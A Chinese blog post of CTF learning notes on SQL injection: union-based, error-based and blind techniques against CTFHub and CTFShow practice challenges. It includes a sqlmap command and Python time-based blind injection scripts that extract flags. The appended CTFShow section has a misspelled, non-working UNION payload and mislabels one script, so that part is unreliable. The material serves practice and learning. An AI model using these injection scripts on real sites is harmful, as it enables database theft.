CTF自学-SQL注入(1)

整数型注入

        CTFHUB中给出的网页查询为数据库查询,并且为可注入的形式。为了查询我们想要的信息,必须对数据库中的表结构了如指掌,为此需要通过在查询窗口注入SQL语句来查出数据库名,表名,列名等信息,再进一步定位到我们需要的表数据上。经过百度得知mysql中的重要数据库information_schema,该数据库记录了mysql中各种视图信息,为此需要通过查询该数据库的信息逆向推出我们需要查找的那张表的信息。

利用information_schema.schemata表可以获取所有数据库名(schema_name列):

利用information_schema.tables表可以获取所有表名(table_name列,table_schema列用于筛选数据库):

利用information_schema.columns表可以获取所有字段名(column_name列,table_name列用于筛选表):

另外,由于该页面只能展示1行2列的表,采用以下技巧:

1.通过使用select 1,group_concat(列名) from 表名可以使得该列上的同组的所有值显示在一个单元格内(在不使用group by的情况下,默认所有元素一组)。

1X1

1X2

2.通过and false/恒假式操作使得原来的查询结果为空,再使用union操作把我们查询的表拼接到空表中。

字符型注入

        与整数型注入类似,只不过此时我们输入的内容默认为字符型,即在执行查询时输入的值两侧会添加上'或",以单引号'为例,只需在输入框开头添加',结尾添加#(#为注释符),就可以使得单引号闭合,我们注入的查询语句能够被执行。

报错注入

        报错注入主要用于不显示查询结果的情况,此时可以另辟蹊径,通过系统返回的报错信息来获取我们想要的数据。通过一些能展示查询结果的特殊报错,可以达到该目的。

        mysql 5.1以后推出了xml的解析支持,利用xml中的extractvalue()方法和updatexml()方法的报错都可以完成这一目的。

        extractvalue(xml_document,xpath_string):在xml文档Xpath_string下查询xml_document字段,由于Xpath_string未按照正确路径格式传入时会报错并显示值,故可以在此处传入一个SQL查询语句与非法字符拼接(concat())的字符串,这里的查询语句需要用括号括起来否则不会执行。

        updatexml (xml_document, xpath_string, new_value):文档更新函数,进行字段替换,报错原理类似。

        本来没找到flag,盲猜flag表我才发现输出的字符串被截断了(真是逆天,害的我以为没有sqli数据库),这里没有再测试updatexml方法中字符串长度的上限,而是采用了另一种方法。

        这里利用了网上说的group by与rand的冲突问题。原理较复杂。后期补充。另外在本地电脑使用MySQL8.0不能复现该问题。

布尔盲注

        在布尔盲注题型中,报错信息也被屏蔽,通过测试可以发现只有查询结果存在时会显示"query_success",查询结果为空或者语法错误时均显示"query_error"。利用这一区别就有了布尔盲注方法,原理就是盲猜,反正猜对了就有提示,因此可以一直猜到最终结果。由于盲注法太暴力,不是人工能完成的工作量,所以我使用了kali中的sqlmap工具来实现。

查询有结果:

查询无结果:

语法错误:

        如果没有前面几题的铺垫,那么此题的数据库名,表名,列名等等都要猜,但这里已经知道数据存放在sqli数据库中的flag表的flag列,所以直接猜数据值就行。

语法:sqlmap [-u 链接(需要先查询一次)] [-D 库名] [-T 表名] [-C 列名] [--dbs/current-db/tables/dump 列出库名/当前库名/表名/数据] [--batch 不询问]

爆数据指令:

检测到注入点和注入类型,这里实际上采用了时间盲注而非布尔盲注,原理类似:

爆出结果:

时间盲注

        如果题目再出得狠一点,对于查询的情况不提供任何信息呢?这时我们可以考虑通过自己创造隐式的信息来判断查询结果,时间盲注就是一个高明的方式,通过在查询结果中加入sleep指令,根据查询后服务器的响应时间来判断结果。

使用 if(condition,op when true,op when false)和sleep(seconds)命令即可判断查询结果是否存在。

如下例,当前数据库名称长度为4时服务器sleep5秒:

再次使用sqlmap工具爆出数据:

### CTFShow SQL注入技术学习与解析 CTFShow平台上的SQL注入题目是学习和实践SQL注入技术的良好资源。以下将从基础到高级,结合引用内容[^1],介绍如何在CTFShow平台上进行SQL注入的练习与解析。 #### 一、SQL注入基础知识 SQL注入是一种攻击技术,通过向应用程序输入恶意SQL代码,绕过安全验证或提取数据库信息。SQL注入的核心在于构造特殊字符或语句,使程序执行非预期的SQL命令[^2]。 #### 二、CTFShow SQL注入题目解析 以下是对CTFShow平台上常见SQL注入题目的解析: 1. **查表操作** 使用`sqlmap`工具自动化查表是一个常见的入门方法。例如,使用以下命令可以列出目标数据库中的所有表: ```bash sqlmap -u "http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12" --user-agent sqlmap --referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow_web --tables ``` 这段命令利用了`sqlmap`工具,通过指定URL参数`id`,并设置数据库名称为`ctfshow_web`来枚举所有表名。 2. **查询列名** 查询列名时,可以通过`UNION SELECT`语句构造payload。例如,以下payload用于查询`users`表的列名: ```sql url?id = 1 union select 1,2,column_name from infomation_schema.columns where table_table = 'users' ``` 该语句通过`information_schema.columns`表获取目标表的列名[^3]。 3. **布尔盲注与时间盲注** 布尔盲注和时间盲注是两种常见的盲注方法。以下是一个布尔盲注的Python脚本示例: ```python import requests import string url = 'http://b6c2fdd0-e452-4aee-84ce-73716e1a42cd.challenge.ctf.show/api/index.php' dic = string.digits + string.ascii_lowercase + '{}-_' out = '' for j in range(1, 50): for k in dic: payload = f"u=if(substr((select flagaabc from ctfshow_flaga),{j},1)='{k}',sleep(0.1),0)" re = requests.get(url, params=payload) if re.elapsed.total_seconds() > 2: out += k break print(out) ``` 上述脚本通过构造`substr`函数逐步提取目标字段的内容,并结合`sleep`函数实现时间盲注[^4]。 4. **DELETE语句的时间盲注** 当题目限制无法直接插入数据时,可以考虑使用时间盲注。以下是一个基于`DELETE`语句的时间盲注脚本: ```python import requests import time import urllib.parse url = "http://b37e7121-22c6-4917-bfa5-ddc38a0ed78f.challenge.ctf.show/api/delete.php" s = '0123456789abcdef-' flag = 'ctfshow{' for i in range(9, 46): for j in s: data = {'id': f'0||if(substr((select flag from flag),{i},1)="{j}",sleep(1),0)'} try: requests.post(url, data=data, timeout=1) except: flag += j print(flag) break time.sleep(1) ``` 该脚本通过构造`if`条件语句,结合`sleep`函数延迟响应时间,从而判断每个字符是否正确[^5]。 #### 三、总结 CTFShow平台上的SQL注入题目涵盖了从基础到高级的各种技巧,包括查表、查询列名、布尔盲注和时间盲注等。通过实践这些题目,可以系统地掌握SQL注入技术。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值